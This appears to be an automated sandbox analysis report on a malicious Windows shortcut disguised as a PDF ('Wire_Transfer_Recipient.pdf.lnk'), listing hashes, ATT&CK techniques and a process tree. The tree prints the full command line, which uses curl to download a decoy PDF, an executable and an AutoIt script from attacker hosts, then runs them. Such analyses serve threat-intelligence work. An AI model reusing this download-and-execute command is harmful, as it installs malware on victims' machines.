2888922c2d748ea0498725011645efb6d4f35c858e3a158d58357df12a5e63cc

Analysis

max time kernel
119s
max time network
122s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
20-11-2023 16:57

Target

Wire_Transfer_Recipient.pdf.lnk
Size

1KB
MD5

65333dee897813812caf650a2c6997c7
SHA1

8eda0e9a054f635152c3cf1af9f01c01e925157d
SHA256

2aa219e648895ec611aa69f1a484c8e58866aa5f4c0ba020a65443b819d20c25
SHA512

ce2ece91a46a9369de9730de5326e98c6479df7b7dcf6c7c7d2af600f9f25ee03ddf9a36cfdd9c47e985184c071d1a8558fdda9253ac566afbdd1aaf25b76d14

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2116 wrote to memory of 2764	2116	cmd.exe	29
PID 2116 wrote to memory of 2764	2116	cmd.exe	29
PID 2116 wrote to memory of 2764	2116	cmd.exe	29
PID 2764 wrote to memory of 2856	2764	cmd.exe	30
PID 2764 wrote to memory of 2856	2764	cmd.exe	30
PID 2764 wrote to memory of 2856	2764	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Wire_Transfer_Recipient.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2116
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c start /min /b && curl -s -o "C:\Users\Public\unsupported-version.pdf" http://screenshot.photos/unsupported-version.pdf && "C:\Users\Public\unsupported-version.pdf" && curl -s -o "C:\Users\Public\Seed.exe" http://45.154.98.21/Seed.exe && curl -s -o "C:\Users\Public\leaf.au3" http://45.154.98.21/leaf.au3 && "C:\Users\Public\Seed.exe" "C:\Users\Public\leaf.au3" && "C:\Users\Public\Seed.exe" "C:\Users\Public\leaf.au3" && "C:\Users\Public\Seed.exe" "C:\Users\Public\leaf.au3"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\system32\cmd.exe
    cmd.exe
    3⤵
    PID:2856

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact